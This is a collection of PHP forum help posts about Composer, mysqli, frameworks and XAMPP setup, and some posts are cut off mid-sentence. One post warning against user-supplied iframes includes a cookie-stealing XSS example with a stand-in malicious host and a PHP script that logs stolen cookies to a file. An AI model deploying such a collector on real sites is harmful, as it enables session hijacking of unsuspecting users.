I met a devil woman She took my heart away
She said, "I had it coming to me But I wanted it that way"
Bachman - Turner Overdrive - You Ain't Seen Nothing Yet
:)
I met a devil woman She took my heart away
She said, "I had it coming to me But I wanted it that way"
Bachman - Turner Overdrive - You Ain't Seen Nothing Yet
:)
Hi, welcome to Daniweb and good luck to your studies.
davy_yg,
There is a sure shot in checking if the query is indeed valid. All you have to do is get on to your phpMyAdmin page, click on the database of which your query is adressed or intended to be executed, click on the SQL tab and then paste your query without double quotes and then hit the "go" button. If your query is written properly, then it should show some results.
Another effecient method in perfecting your mySQL fluency is to use the mySQL workbench from oracle. Connect to your target database and then paste your query to check if it is a valid one. You can also optimized your query if needed. Copy the optimized query and plug it in to your PHP script.
There are many things you can do in the workbench that you can't do in running a query through the PHP script.
That's very true of Symfony 2. Even worse with the Zend framework, because I have to starved myself in college just to be able to pay for my Zend Framework Certification. It cost me a fortune just to get it.
In practice, I prefer lighter frameworks where I can choose the modules I need. Pretty much assembling my own from the packagist.org. I really admire the idea behind the Dependency Management for PHP by Composer, because it allows me to do this.
However there is a minor catch here.The only reliable autoloader, class loaders, and router are coming from the Symfony packages, which is to me is another overload or unnecessary instantiations of many classes during the initialization process. Even Laravel uses some modules from the Symfony packages.
I tried different routers from packages.org via composer, but most are just not the same as the ones that are with Laravel, CI, Kohana, and Symfony.
Here is the simple composer.json file I am currently using when creating my own framework. This is pretty much the basic foundation of a framework with a template engine smarty or twig ( must assign twig in require and remove smarty on the autoload block). Rasmus also talked about similar to this approach and favored this over the full framework.
{
"require": {
"symfony/class-loader": "2.4.*@dev",
"symfony/http-foundation": "2.3.*@dev",
"phpunit/phpunit": "3.7.*",
"swiftmailer/swiftmailer": ">=4.2.0,<4.3-dev",
"doctrine/orm": "2.3.4",
"symfony/routing": "2.5.*@dev"
},
"autoload": {
"classmap": [
"vendor/smarty/smarty/Smarty.class.php",
"vendor/smarty/smarty/SmartyBC.class.php"
]
},
"autoload":{
"classmap":[
"vendor/veedeoo"
]
},
"minimum-stability": "dev"
}
For twig …
For years, I have been waiting to hear Rasmus Lerdorf to share his words and opinions about many things around PHP, especially the security issues, PHP frameworks, future versions, and password hashing. At last, he attended the PHP Frameworks Day 2013 and I was surprised by his thoughts about PHP Frameworks( They were precise and concise assesments).
I am not going to elaborate on what the creator of PHP said during his presentation at the PHP Frameworks Day 2013. The linked video will provide some interesting information about the progress in PHP.
Rasmus Lerdorf expessed his thoughts, opinions and plans.
Regardless, if you are inexperienced or experienced developer, I think this video is worth watching. The video is more than 40 minutes long.
Please share your thoughts about the video.
Search google for Colorbox. Not exactly sure about the name, but it should give you some jquery results.
Hi,
This is pretty easy task in PHP.
First, get yourself acquainted with the ftp_login PHP function.
Second, test that function in a more meaningful application utilizing the ftp_put PHP function as shown here.
Lastly, please allow me to add my own personal opinion about these PHP functions in just ONE short sentence. It is pretty SLOW.
Other solution that is a lot faster than what I have mentioned above is to use cURL or remote uploads server to server. This can be very fast..
Notepad++ will not be able to detect it, but not all the time. A good IDE like NetBeans is capable of detecting those embedded <div> tags.
Notepad++ can surely detect this type of coding technique.
<?php
function doSomething(){
return array('home'=>'Home', 'about'=>'About','contact'=>'Contact');
}
function doItAgain(){
return array('Home','About','Contact');
}
$x = doSomething();
$y = doItAgain();
?>
<html>
<head>
</head>
<body>
<div>
<ul>
<li> <?php echo $x['home'];?> </li>
<li> <?php echo $x['about'];?> </li>
<li> <?php echo $x['contact'];?> </li>
</ul>
</div>
<!-- second group of codes here -->
</body>
</html>
and this one, it won't be able to ..
<br/>
<ul>
<!-- notepad++ will not be able to detect codes below -->
<?php
foreach($y as $item){
echo '<li>'.$item.'</li>';
}
echo '</ul>';
?>
Hi,
Here is a really nice implementation guidelines from google maps api. I don't see any level of difficulties in implementing this. It is pretty much straight forward.
Create a new PHP file and upload to the server where you are running the script above.
<?php
echo (ini_get('allow_url_fopen')? 'It is On' : 'It is off');
Direct your browser to this file. It should print "It is On" or "It is off".
It is On ? your PHP.ini file is good. You need to focus on troubleshooting your script.
It is Off ? Set allow_url_fopen directives to on . This can be done by editing the php.ini file.
If your Server API is apache module, you can set it to on by adding this on your .htaccess file in the root directory.
php_value allow_url_fopen On
If it is a fast CGI or any derivatives of CGI, you can pretty much create a new file called php.ini file and upload it to the directory where your script is running.
allow_url_fopen = On;
SECURITY WARNING!
Sometimes allow_url_fopen directives creates a security issues, when set to on. I strongly suggests to use cURL instead.
Hi,
can you try reading this? If it fails to solve your problem let us know. The answer you are looking for is located near the bottom of the page.
We would appreciate it, if you can post part of your controller, model, and view files for the above codes. Posting the entire page will just create confusion. Only the methods that are related to your problem.
Doctrine, propel, fuel, Agile toolkit (API class), and kohana ORM. Pick the one you think you can immerse as quickly as possible.
Personally and outside the framework environment, I prefer Doctrine. Just maybe, give Agile toolkit (API class) the consideration it deserves.
Vista is known to create problems with xampp. There are other options out there when it comes to windows apache mysql php server. One is a lightweight application called Uniform server.
Installing the Uniform server is slightly tricky, but it comes with setting options for development and production and I am pretty confident you will managed..
One important feature of uniform server vs. xampp is its security. I honestly believe that it is more secure than xampp. It has many modular extensions that can be added later on. In fact, not too long ago, I evaluated uniform server to host a website from my office as a production server. Amazingly, it is pretty realiable like any VPS hosting I could get for 50 dollars per month.
Although I have not tried it on Vista, I am confident it will work out for you. Similar to xampp, uniform server can also run as portable.
Another option that you can use is an nginx server for windows. This is less dependent on your OS and it is pretty light and faster than conventional Apache MySQL PHP server packages. The only downside is that most nginx for windows are not pre-packaged with mysql.
Good luck on your PHP programming.
I posted an example, but after calculating it, there is no way it can be valid. Sorry, I have to remove it. It will not do any help to your question.
Edit: I added an example.
There is a PHP function called ps_stringwidth. It looks promising 'BUT', it needs Adobe font metrics file to calculate the width. Another one is called mb_strwidth. The most feasible usage of mb_strwidth is to calculate the sum of all characters within string. e.g. h e l l o w o r l d is calculated by the characters width and the spaces.
Example imlementation as shown in PHP.net
<?php
$b = "H e l l o W o r l d";
printf("length of string: %d \n", mb_strlen($b, 'UTF-8'));
for ($i=0; $i < mb_strlen($b, 'UTF-8'); $i++){
$ch = mb_substr($b, $i, 1, 'UTF-8');
$chlen = strlen($ch);
$hexs = '';
for ($j=0; $j < $chlen; $j++)
$hexs = $hexs . sprintf("%x", ord($ch[$j]));
printf ("width=%d => '%s' |hex=%s\n", $chlen, $ch, $hexs );
}
gives us this
length of string: 20 width=1 => 'H' |hex=48 width=1 => ' ' |hex=20 width=1 => 'e' |hex=65 width=1 => ' ' |hex=20 width=1 => 'l' |hex=6c width=1 => ' ' |hex=20 width=1 => 'l' |hex=6c width=1 => ' ' |hex=20 width=1 => 'o' |hex=6f width=1 => ' ' |hex=20 width=1 => ' ' |hex=20 width=1 => 'W' |hex=57 width=1 => ' ' |hex=20 width=1 => 'o' |hex=6f width=1 => ' ' |hex=20 width=1 => 'r' |hex=72 width=1 => ' ' |hex=20 width=1 => 'l' |hex=6c width=1 => ' ' |hex=20 width=1 => 'd' |hex=64
1 point is approximately equal to 1.333 pixels. We can get the sum of …
I thought this question was just posted some 20+ hours ago, and then I just realized it was awaken from the bone files of two years ago. :).
Hi,
It would help, if you can show us your codes. It does not matter if it is working or not.
hi,
I don't understand this
<?php
$tcode="$_POST[teamID]";
?>
If my suspicion is correct, then it should be coded as something like this.
<?php
$tcode = $_POST['teamID'];
?>
hi,
this
if ($searching =="yes")
don't make sense at all. Even-after looking at the original codes at about.com, Angela Bradley did not make her points very clear. How can she possibly evaluate $searching in a True or False context ,if searching is indeed part of the form vars.
To make it work, you will have make minor adjustments to the codes. There are many ways of doing this. You can either remove it or define a new variable $searching. It can be something like this
if(isset ($_POST['submit']) && ($_POST['searching'] === 'yes')){
## put all of your codes here
## or define the variable $searching
$searching = true;
}
We can change the orginal code to something like this
if ($searching){
## rest of codes here
}
I prefer completely eliminating the $searching in if statement as originally coded.
matrixdevuk is precisely correct, PDO is worth learnig and It won't take your entire day to learn it. From PHP 5.5.0 version, the old MySQL extension is no longer supported and we can either use MySQLI or PDO extension.
Warning? This is a prototype script. So, there will be no css and javascript included. The upload.php is not intended for public access. This script is not intended for production server until further notice or until some of its vulnerabilities are fixed.
Let's start from the very basic. I normally write codes in OOP, but for the clarification, I will be writing this in procedural. We will be using the MysQLI and PDO. Besides, I really missed the freedom of writing codes in procedural, no design patterns, not too many things to follow, but trying to write codes. However, as we test our script, we will slowly convert all the codes to OOP so that it will become more extensible for future improvements and upgrades.
The reason for the mysqli implementation is that PDO have a minor bugs in handling PDF as BLOB ( insert only). To minimize the trouble of trying to fix this minor bug, I decided to use mysqli for the upload part.
Ready?
tableName: edudata_mysql
CREATE TABLE IF NOT EXISTS `edudata_mysql` (
`edudataid` int(20) NOT NULL AUTO_INCREMENT,
`filename` varchar(255) NOT NULL,
`size` int(25) NOT NULL,
`filecontent` longblob NOT NULL,
`subtopicid` int(11) NOT NULL,
`type` varchar(100) NOT NULL,
PRIMARY KEY (`edudataid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
I eliminated the 'sortkey' …
I might left a cloudy ideas. So, here is a simple flow of the design.
Let us take Chemistry as the subject of interest.
parent
CourseId = 1
CouseName = Chemistry
Sub-Field of concentration in chemistry ( this will act as child)
subId = 2 , parentId = 1 ( chemistry), subCourseName = generalChemistry
subId = 3 , parentId = 1 (chemistry), subCourseName = Organic Chemistry
subId = 4 , parentId = 1 (chemistry), subCourseName = BioChemistry
Grand Children of Chemistry
sub_subId= 3 , parentId = 2, GrandParentId = 1, tags = valence eletron, oxidation reduction, intro to neuclear chemistry, pdfFileName = generalChem, available = 1 ( switch to true or false if the pdf file is available).
sub_subId= 4 , parentId = 3, GrandParentId = 1, tags = aromatic, isomerism of organic compound, organic bases and acids, pdfFileName = organicChem, available = 1 ( switch to true or false if the pdf file is available).
Hi,
After looking at your database file, I just noticed that non of them were assigned as primary or auto-incremented. It will be defficult to sort by relationship, parent-to-child relationship without any pilot table ( the table that can be use as reference as we conduct a JOIN query).
For example, the table called SUBJECT_mysql should make the subjectid column as auto-incremented. By doing so, we can easily search subject name, and then use the queried subjectid for something else later on.
Another example, is the table called TOPIC_mysq. We can set the topicid column as auto-incremented and then on the SUBTOPIC_mysql topic table the topicid column is equivalent to the topicid of TOPIC_mysql table, and once again make the subtopicid as auto-incremented. By using this type of a database design, we can sort the children of all topics using only the topicid. This is pretty similar to category - sub-category - sub-sub-category relationship design model presented in the mySQL consortium some years ago.
What i want you to provide us is a simple block diagram on how the users will interact with your website. Please take a look at the attached image on my previous response. That is the only clearer way we can make an effective database design, because it is the anticipation of all transactions between the users and the application.
Give us the diagram, and I will do my best to rewrite your database structure. We cannot proceed writing codes without the operational core of the …
Attached image is a good example of a cms backlog or wish list. I just finished developing it 3 days ago. It took me months but it came out pretty cool I think. It is now in alpha version awaiting to be scrutinized by my fellow geeks.
The idea is to be able to monitor the progress or at least see the panoramic view of the entire project. Most importantly is the ease of designing the database.
Hi,
GitHub or sourceForge are cool either one would be nice, all you need to do is go to your myPHPAdmin and then click on the database table for this project and then click on the export button. On the export page, select sql, click go, download should commence. After the download, save the file as text file or you can leave it with .sql extension.
You can either include it to your response or upload it to your server and give us the link, or send it to your github account e.g. myaccount.
If you take the github or sourceforge route, then it will be very helpful to include all of your pHP files in there.
Can we at least see your database table structure? Also, it would be nice if you can provide a wish list as in SCRUM prioritize wish list or back log. It will be a lot easier to estimates how much work is needed.
Do all of the above as suggested, but don't get overly confident after learning how to echo "hello world". PHP is the most deceiving programming language. The outer shell is pretty shallow, but once you passed that outer shell, you could be lost into the black hole.
Just saying... :)
@davy_yg, gabrielcastillo is correct. redirect is just another method in CI that can accept something to redirect to .
Is redirecting to another controller a must? It will be you own call. It can be redirected to a simple page or another page controller. Not all pages has to have controllers. For example, if you just want to print a simple error then a simple echo "Houston, We've Got a Problem" will suffice.
Hi,
You can rewrite it to something like this..
<?php
// Connection variables
$host="localhost";
$username="root";
$password="";
$db_name="asia";
// Connect to database
$con= new mysqli( $host, $username, $password); // you can add the fourth parameter here as you wish.
// Connect result
if($con->connect_errno){
die('Error Connecting to Database: ' . mysqli_error());
//die '<script type="text/javascript">alert("Error Connecting to Database"). mysqli_error($con);</script>';
## must use this
// exit;
}
else
{
echo '<script type="text/javascript">alert("Connected"). mysqli_error($con);</script>';
}
// Database Selection
//$sel = mysqli_select_db($con,"$db_name");
// Database Selection result
if(!$con->select_db($db_name)){
die('Error selecting Database: ' . mysqli_error());
}
else
{
//echo "Database Selected" . mysqli_error($con);
echo '<script type="text/javascript">alert("Database Selected"). mysqli_error($con);</script>';
}
$result = $con->query("select sno,packing,weight from ghee");
if(!$result){
echo 'select query error or data not found';
}
else
{
echo 'data found';
echo "<table border='1' style='border-collapse: collapse'>";
echo "<th>SNo</th><th>Name</th><th>Weight</th>";
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
echo"<tr><td>".$row['sno']."</td><td>".$row['packing']."</td><td>".$row['weight']."</td></tr><br>";
echo "</table><br>";
}
}
mysqli_close($con);
?>
You can also shorten your codes by adding a fourth parameter on the mysqli object $db_name. Instead of selecting the database table midway on your codes. You can always redefine a new database table as you wish after the mysqli object.
Hi,
The remote server response is stored in $result, if you want to find out what is the error respnse from http://absolutesms.com/Sendsms.aspx , try using print_r or var_dump($result) on your side. If response is something like "missing cookie or session", you will have to provide a cookiejar and cookie text file for your cURL to utilize.
Hi,
I cannot give you an specific answer to your question, because you never mentioned which super globals your friend is currently using. However, if it is related to mysql security that worries you or your friend, I can safely asssumed that using a global variables for database handle is pretty dangerous.
Here are my reasons and analogies.
First, there was a memo called CVE-2011-2505, you can search this memo on google to read the lengthy detail about. In this memo, it specifically described the vulnerability of the PhpMyAdmin authentication feature. What this means to you, your friends, the rest of the php community, and me is that we should not use $_SESSION superglobal variables, due to the ability of the hackers to modify the said $_SESSION.
In shorter words, just in case I have not made myself very clear on the previous paragraph. $_SESSION has vulnerability that can be modified by the hacker. So, we don't want any database credentials floating around as a session variables or $_COOKIE.
Second, is the memo CVE-2010-3065. This vulnerability even more wider than what was on the first memo. What this vulnerability is all about is that the hacker can inject malicious values to the internal variable ( this is your variable) USING PHP SUPERGLOBAL mechanism. The danger is that the hacker can execute ARBIRTRARY command to gain complete control of your server.
After my lengthy blabbering, let me answer your question as I quote below
could someone please explain if it …
Did you installed anything before having this problem problem? I am assuming here that some other exe file is trying open a php file, but that is only my guess. I never ecountered this type of problem before, because all of my xampp for development are in portables.
You can try the command prompt test for your PHP if it working properly, if it is then the problem is pointed directly to your windows,, still you really need to make sure of that..
create a new php file named test.php and save it in your htdocs directory.
<?php
echo 'Hello this is a test';
open your command prompt, type
cd c:xampp\htdocs\
//hit enter
type
php -v
this should give you the version of php installed on your computer.
type
php test.php
What do you see on your black box or command prompt? You should be seeing 'Hello this is a test'.
If that fails, your xampp installation is either corrupted. Else, it is your windows that is corrupeted.
you should try reinstalling xampp and make sure to set your installation directory to C: or your main hard drive. Otherwise, you can try using just the portable version which is equally the same as the .exe version.
The only way we can help you is to provide us the source code where the error is coming from. Is it from php page located on your htdocs?
You probably need to look for Real time communication(RTC I am not sure what it was, but should be close to what I am trying to say), utilizing some sort of Javascript API in addition to server-side Javascript (node.js).
PHP may not be the candidate for this type of application, and can be very limited to authencating the users.
We can help you, but it looks like you skipped the first step. Do you have any codes organization in mind? You should give us some of your ideas, even a simple diagram of your program design.
here are the hints. Write all the possible events when the user landed on the presentation interface of your program, then put a note where the data from the database are needed. Based on this diagram of design flow, you should be able to visualize how the database table should look like as far as the columns are concern. For example, cols: title, ISBN, author, publisher, date of publication, tags, description, reviews, number of reviews, number of people who read the book, and many other things.
Write this on a piece of paper and then draw your block diagram. It is not necessary which type you use. It could be control flow, data flow etc. etc..
Just have something that shows your motivation and willingness to do your part, before we do our part of helping. You do that and I promise I will take my time walking you through the codes, until you either understand how it works or you just had enough of my blabbering.
thanks JorgeM.. you are the best :).
Hi,
You can either use netbeans IDE, or php designer2007 personal edition as your PHP source code editor. These applications will tell you what other PHP plugins you need to install to be able to use the debugging feature.
I understand the urgency, but have you tried anything yet? Please post whatever codes you've got going already. Just wondering is it php or Visual basic?
I don't have any linked signature, but I know who does. Welcome to the PHP side of Daniweb.
Choose which language you are the most comfortable writing it. Some will choose PHP and some C# -> ASP.net (it is a framework really).
In addition to PerplexedB's input, think of Abstract as a contract between the parent and child classes.
Abstract class have an abstract method without returning anything, for the purpose of allowing the child class do the returning of the output whatever it may be.
Example of abstract implementation, most commonly found in MVC design pattern. Say, we want to create a base controller for our application. We want to make sure that all public controllers abide by the contract of returning the abstract method called "index".
Abstract Class BaseController {
function __construct() {
}
//this is the contract declaration that must be fulfulled by all child classes
abstract function index();
}
Noticed the above usage of abstract. Abstract class with abstract method called index.
If we want to create a controller class for let say article to show articles stored in the database, we must fulfill the contract established or rather required by the parent class which is the BaseController.
Warning! Codes below is just a sample... it the modle class and view class has been omitted ONLY for the purpose of demonstrating the concept.
Example of a child class of the BaseController abstract class
class ArticleController extends BaseController{
public function __construct(){
parent::__construct(); //must declare the parent construct inheritance
}
public function index(){
return 'Something';
}
}
Again, the child class 'ArticleController' inherits the BaseController's constructor, and then implements or fulfill the contract responsibility for the parent's abstract method called index().
that's it for now... if I keep …
hi,
You need to forward the user to a page where the data are less crowded or more suitable for printing and then you add javascript like so..
<form>
<input type="submit" value="print" onClick="window.print()" />
</form>
that should be simple enough for you to implement...
Cereal's instruction is precise.
The php not recognized as internat or external command error is probably due to your system setting.
type
php -v
you should see what version of php is on your computer. If you don't see this, then you will have to set the system environment variables and make sure **C:\xampp\php; ** is included there. I am not going to elaborate on this, because you probabaly know more about this than me due to the fact that you are a professor.
Follow Cereal's recommendation.. He mentioned that one alternative of installing laravel is through composer which I believe is the most effective way of installing laravel.
Install composer by downloading it here.
After installing the composer, go to C:/xampp/htdocs and create your laravel directory. e.g. c:/xampp/htdocs/laravel.
Open your command prompt and then paste this.
composer create-project laravel/laravel
It is ok not to include the prefer dis, it will eventually install the latest from the packagist.org.
Composer should have created these directories
laravel
+laravel
+app
+bootstrap
+public
+vendor
composer.json
composer.lock
server.php
artisan
// and other files.
direct your browser to http://localhost/laravel/laravel/public/ , you should see the laravel message "You Have Arrived".
if you don't want the laravel/laravel on your url, use this command on install
composer create-project laravel
instead of
composer create-project laravel/laravel
This can be probably prevented, but I don't really find any 100% eradication solution for an iframe. For example, if you are allowing your user to do this
<iframe src="http://maliciousSitDotCom/hackTheHack.php"></iframe>
and in the remote server the hackTheHack.php contain this
http://maliciousSitDotCom/getVictimCookie.php?email=<script>alert(document.cookie)</script>
the mailicious site can then steal the credentials of the unsuspecting users on site. They are not aware that their credentials was stolen by the remote script called getVictimCookie
The getVictimCookie.php, can be written as simple as
<?php
$file = 'stolenCookie.txt';
if(isset($_GET['email'])){
$sweetCookies = file_get_contents($file);
$sweetCookies .= "New Victim\n";
$sweetCookies .= $_GET['email'] ."\n";
file_put_contents($file, $sweetCookies);
The remote server hacks can pretend to be your unsuspecting user, using the stolen credentials for whatever the cookies would reveal.
Last thoughts, don't even use it. If they have to add content on your site, let them add it as a link. That should free you from all responsibilities and conscience overload.
If you really want to have their page included on your site, then you can use an htmlDom parser, parse the page, and then clean it up really good, create a fresh copy of the remote page on your server ( the clean one), and then deliver it to your own iframe. At least, you will have a full control on what acceptable tags are allowed..
I honestly believe that they are important as follows:;
Composer, ORM,http-foundation (from symfony), class-loader from symfony, and native autoloader from composer are probably the most needed if you want to built an application on top of symfony or anything from the packagist.org. In fact, composer allows us to use Zend libraries if we want it to be a part of our application.
It is also important if you want to follow the proposed standardization mainly PSR 0 - 3 standards. Although no developers have had their arms twisted to submission, I finally understanding the reasons behind these proposed standards.
In a classic OOPHP/MVC application design pattern, we normally do things like this
autoloader.php
bootstrap.php
index.php // this routes to view via .htaccess
.htaccess
applicationDirectory
+Controller
+Model
+View
classDirectory
+classOne.php
+classTwo.php
includesDirectory
+SettingsDirectory
+DBSettings.php
+SiteSettings.php
modules
+modulesOne
+mouduleOne.php
+modulesTwo
+mouduleTwo.php
The above design is pretty congested. Looking at it, can give anyone a serious headache.
In the event that a file/directory or files/directories are deleted because the application does not need them anymore, how are going to update our application file system mainly-> the bootstrap, and autoloaders to reflect the changes made in the application? That would be excruciating right? Imagine, if we have 10 php file requiring or depending to file/s that already been deleted.
The solution to this problem is to use composer (Dependency Manager for PHP).
By utilizing composer we can build our application as dependency aware.. We can delete any files or directories within the vendor …
Can we see the docs.xml you are trying to add the new entries?
One effective method using $_SERVER['REQUEST_URI'] with optional .htaccess support is the method found on frameworks like CI, Symfony, Kohana, and Laravel. These frameworks pretty much rely on the REQUES_URI for routing page requests.
Example of a router ( the most basic, without involving a json file or xml file).
Let say, we have two pages index.php and pageone.php. Pageone.php is the destination page provided by the link..
filename: index.php
<a href="pageone.php/Learning%20PHP%20MySQL%20PHP/Robin%20Nixon/oreily%20Media/2013/">View this Book</a>
filename: pageone.php
## we pick up the request uri
$book_data = $_SERVER['REQUEST_URI'];
## we get rid of front and end forward slashes
$book_data = trim( $book_data, "/" );
## we use PHP list function
list($scriptName,$title,$author,$publisher,$year) = explode('/',$book_data);
## you must strictly set your conditions here, otherwise this is not going to work. e.g. conditions must be similar to form processor.
## echo the parse book data.
echo 'This is the pagename or scriptname : '. basename($scriptName).'<br/>'
echo 'Title : '. trim($title).'<br/>';
echo 'Author : '. trim($author).'<br/>';
echo 'Publisher : '. trim($publisher).'<br/>';
echo 'Year : '. trim($year) .'<br/>';
Test the abov sample codes, it should work ( i think... never tested it..).
I totally understand your situation and I have no disagreement whatsoever, but I have a few concerns about CI. It is no longer maintained by its creator. In fact, Ellis Lab don't want it anymore and it is up for adoption.
Pretty soon, it will show its age. PHP is now in version 5.5.3 two weeks ago it was version 5.5.1. The last update on CI was not even disclosed. CI don't even support Dependency manager for PHP, while the rest of the framework already did (big and small). Even, the smallest template engine called RAIN TPL is Dependency manager supported.
If it is a big job, I am happy for you. However, how are you going to control the PHP version on the server side. Unless, you have control over the server where the application will be hosted, I could see the possibility of controlling which PHP version installed on the host.